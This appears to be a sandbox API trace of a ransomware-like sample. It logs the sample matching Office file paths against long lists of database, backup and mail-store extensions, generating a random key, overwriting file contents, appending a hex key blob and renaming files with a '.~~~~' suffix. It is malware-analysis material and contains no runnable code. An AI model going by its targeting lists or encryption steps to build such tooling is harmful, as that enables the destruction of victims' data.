	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".mdt") returned 0x0
	[0136.677] lstrlenW (lpString=".BDB") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".BDB") returned 0x0
	[0136.677] lstrlenW (lpString=".eql") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".eql") returned 0x0
	[0136.677] lstrlenW (lpString=".DBF") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DBF") returned 0x0
	[0136.677] lstrlenW (lpString=".EQL") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".EQL") returned 0x0
	[0136.677] lstrlenW (lpString=".FDB") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".FDB") returned 0x0
	[0136.677] lstrlenW (lpString=".EDB") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".EDB") returned 0x0
	[0136.677] lstrlenW (lpString=".DACPAC") returned 7
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DACPAC") returned 0x0
	[0136.678] lstrlenW (lpString=".VHD") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".VHD") returned 0x0
	[0136.678] lstrlenW (lpString=".DBV") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DBV") returned 0x0
	[0136.678] lstrlenW (lpString=".dacpac") returned 7
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dacpac") returned 0x0
	[0136.678] lstrlenW (lpString=".sdf") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".sdf") returned 0x0
	[0136.678] lstrlenW (lpString=".accdb") returned 6
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".accdb") returned 0x0
	[0136.678] lstrlenW (lpString=".DBX") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DBX") returned 0x0
	[0136.678] lstrlenW (lpString=".MDT") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".MDT") returned 0x0
	[0136.678] lstrlenW (lpString=".SQB") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".SQB") returned 0x0
	[0136.678] lstrlenW (lpString=".vhd") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".vhd") returned 0x0
	[0136.678] lstrlenW (lpString=".bac") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".bac") returned 0x0
	[0136.678] lstrlenW (lpString=".mdf") returned 4
	[0136.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".mdf") returned 0x0
	[0136.679] lstrlenW (lpString=".BAK") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".BAK") returned 0x0
	[0136.679] lstrlenW (lpString=".BAC") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".BAC") returned 0x0
	[0136.679] lstrlenW (lpString=".dbs") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dbs") returned 0x0
	[0136.679] lstrlenW (lpString=".vhdx") returned 5
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".vhdx") returned 0x0
	[0136.679] lstrlenW (lpString=".NDF") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".NDF") returned 0x0
	[0136.679] lstrlenW (lpString=".dat") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dat") returned 0x0
	[0136.679] lstrlenW (lpString=".DBS") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DBS") returned 0x0
	[0136.679] lstrlenW (lpString=".CKP") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".CKP") returned 0x0
	[0136.679] lstrlenW (lpString=".edb") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".edb") returned 0x0
	[0136.679] lstrlenW (lpString=".PST") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".PST") returned 0x0
	[0136.679] lstrlenW (lpString=".dbf") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dbf") returned 0x0
	[0136.679] lstrlenW (lpString=".SQL") returned 4
	[0136.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".SQL") returned 0x0
	[0136.680] lstrlenW (lpString=".pst") returned 4
	[0136.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".pst") returned 0x0
	[0136.680] lstrlenW (lpString=".dbv") returned 4
	[0136.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dbv") returned 0x0
	[0136.680] lstrlenW (lpString=".SDF") returned 4
	[0136.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".SDF") returned 0x0
	[0136.680] lstrlenW (lpString=".dtxs") returned 5
	[0136.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dtxs") returned 0x0
	[0136.721] lstrlenW (lpString=".db3") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".db3") returned 0x0
	[0136.721] lstrlenW (lpString=".OST") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".OST") returned 0x0
	[0136.721] lstrlenW (lpString=".dbx") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dbx") returned 0x0
	[0136.721] lstrlenW (lpString=".DB3") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DB3") returned 0x0
	[0136.721] lstrlenW (lpString=".DAT") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DAT") returned 0x0
	[0136.721] lstrlenW (lpString=".VHDX") returned 5
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".VHDX") returned 0x0
	[0136.721] lstrlenW (lpString=".ndf") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".ndf") returned 0x0
	[0136.721] lstrlenW (lpString=".DB") returned 3
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DB") returned 0x0
	[0136.721] lstrlenW (lpString=".sql") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".sql") returned 0x0
	[0136.721] lstrlenW (lpString=".MYD") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".MYD") returned 0x0
	[0136.721] lstrlenW (lpString=".DBT") returned 4
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DBT") returned 0x0
	[0136.721] lstrlenW (lpString=".ACCDB") returned 6
	[0136.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".ACCDB") returned 0x0
	[0136.721] lstrlenW (lpString=".fdb") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".fdb") returned 0x0
	[0136.722] lstrlenW (lpString=".bak") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".bak") returned 0x0
	[0136.722] lstrlenW (lpString=".myd") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".myd") returned 0x0
	[0136.722] lstrlenW (lpString=".DTXS") returned 5
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".DTXS") returned 0x0
	[0136.722] lstrlenW (lpString=".ckp") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".ckp") returned 0x0
	[0136.722] lstrlenW (lpString=".dbt") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dbt") returned 0x0
	[0136.722] lstrlenW (lpString=".db") returned 3
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".db") returned 0x0
	[0136.722] lstrlenW (lpString=".TXT") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".TXT") returned 0x0
	[0136.722] lstrlenW (lpString=".MDF") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".MDF") returned 0x0
	[0136.722] lstrlenW (lpString=".bdb") returned 4
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".bdb") returned 0x0
	[0136.722] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.723] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3950e0) returned 1
	[0136.724] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.724] CryptReleaseContext (hProv=0x3950e0, dwFlags=0x0) returned 1
	[0136.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.724] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25671413253) returned 1
	[0136.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbaeef2f0, dwHighDateTime=0x1d60e1e)) 
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4eb0
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4eb0 | out: hHeap=0x300000) returned 1
	[0136.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0136.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.725] GetLastError () returned 0x0
	[0136.725] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.725] GetLastError () returned 0x0
	[0136.728] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.728] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0136.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.728] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.728] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.728] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.728] CloseHandle (hObject=0x108) returned 1
	[0136.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0136.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.~~~~")) returned 1
	[0136.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fca98 | out: hHeap=0x300000) returned 1
	[0136.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.786] GetLastError () returned 0x0
	[0136.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".scr") returned 0x0
	[0136.786] lstrlenW (lpString=".cmd") returned 4
	[0136.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".cmd") returned 0x0
	[0136.786] lstrlenW (lpString=".dll") returned 4
	[0136.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dll") returned 0x0
	[0136.786] lstrlenW (lpString=".bat") returned 4
	[0136.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".bat") returned 0x0
	[0136.786] lstrlenW (lpString=".cpl") returned 4
	[0136.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".cpl") returned 0x0
	[0136.786] lstrlenW (lpString=".sys") returned 4
	[0136.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".sys") returned 0x0
	[0136.787] lstrlenW (lpString=".msc") returned 4
	[0136.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".msc") returned 0x0
	[0136.787] lstrlenW (lpString=".com") returned 4
	[0136.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".com") returned 0x0
	[0136.787] lstrlenW (lpString=".lnk") returned 4
	[0136.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".lnk") returned 0x0
	[0136.787] lstrlenW (lpString=".msp") returned 4
	[0136.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".msp") returned 0x0
	[0136.787] lstrlenW (lpString=".pif") returned 4
	[0136.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".pif") returned 0x0
	[0136.787] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.814] lstrlenW (lpString=".sqb") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".sqb") returned 0x0
	[0136.814] lstrlenW (lpString=".ost") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".ost") returned 0x0
	[0136.814] lstrlenW (lpString=".txt") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".txt") returned 0x0
	[0136.814] lstrlenW (lpString=".mdt") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".mdt") returned 0x0
	[0136.814] lstrlenW (lpString=".BDB") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".BDB") returned 0x0
	[0136.814] lstrlenW (lpString=".eql") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".eql") returned 0x0
	[0136.814] lstrlenW (lpString=".DBF") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DBF") returned 0x0
	[0136.814] lstrlenW (lpString=".EQL") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".EQL") returned 0x0
	[0136.814] lstrlenW (lpString=".FDB") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".FDB") returned 0x0
	[0136.814] lstrlenW (lpString=".EDB") returned 4
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".EDB") returned 0x0
	[0136.814] lstrlenW (lpString=".DACPAC") returned 7
	[0136.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DACPAC") returned 0x0
	[0136.814] lstrlenW (lpString=".VHD") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".VHD") returned 0x0
	[0136.815] lstrlenW (lpString=".DBV") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DBV") returned 0x0
	[0136.815] lstrlenW (lpString=".dacpac") returned 7
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dacpac") returned 0x0
	[0136.815] lstrlenW (lpString=".sdf") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".sdf") returned 0x0
	[0136.815] lstrlenW (lpString=".accdb") returned 6
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".accdb") returned 0x0
	[0136.815] lstrlenW (lpString=".DBX") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DBX") returned 0x0
	[0136.815] lstrlenW (lpString=".MDT") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".MDT") returned 0x0
	[0136.815] lstrlenW (lpString=".SQB") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".SQB") returned 0x0
	[0136.815] lstrlenW (lpString=".vhd") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".vhd") returned 0x0
	[0136.815] lstrlenW (lpString=".bac") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".bac") returned 0x0
	[0136.815] lstrlenW (lpString=".mdf") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".mdf") returned 0x0
	[0136.815] lstrlenW (lpString=".BAK") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".BAK") returned 0x0
	[0136.815] lstrlenW (lpString=".BAC") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".BAC") returned 0x0
	[0136.815] lstrlenW (lpString=".dbs") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dbs") returned 0x0
	[0136.815] lstrlenW (lpString=".vhdx") returned 5
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".vhdx") returned 0x0
	[0136.815] lstrlenW (lpString=".NDF") returned 4
	[0136.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".NDF") returned 0x0
	[0136.815] lstrlenW (lpString=".dat") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dat") returned 0x0
	[0136.816] lstrlenW (lpString=".DBS") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DBS") returned 0x0
	[0136.816] lstrlenW (lpString=".CKP") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".CKP") returned 0x0
	[0136.816] lstrlenW (lpString=".edb") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".edb") returned 0x0
	[0136.816] lstrlenW (lpString=".PST") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".PST") returned 0x0
	[0136.816] lstrlenW (lpString=".dbf") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dbf") returned 0x0
	[0136.816] lstrlenW (lpString=".SQL") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".SQL") returned 0x0
	[0136.816] lstrlenW (lpString=".pst") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".pst") returned 0x0
	[0136.816] lstrlenW (lpString=".dbv") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dbv") returned 0x0
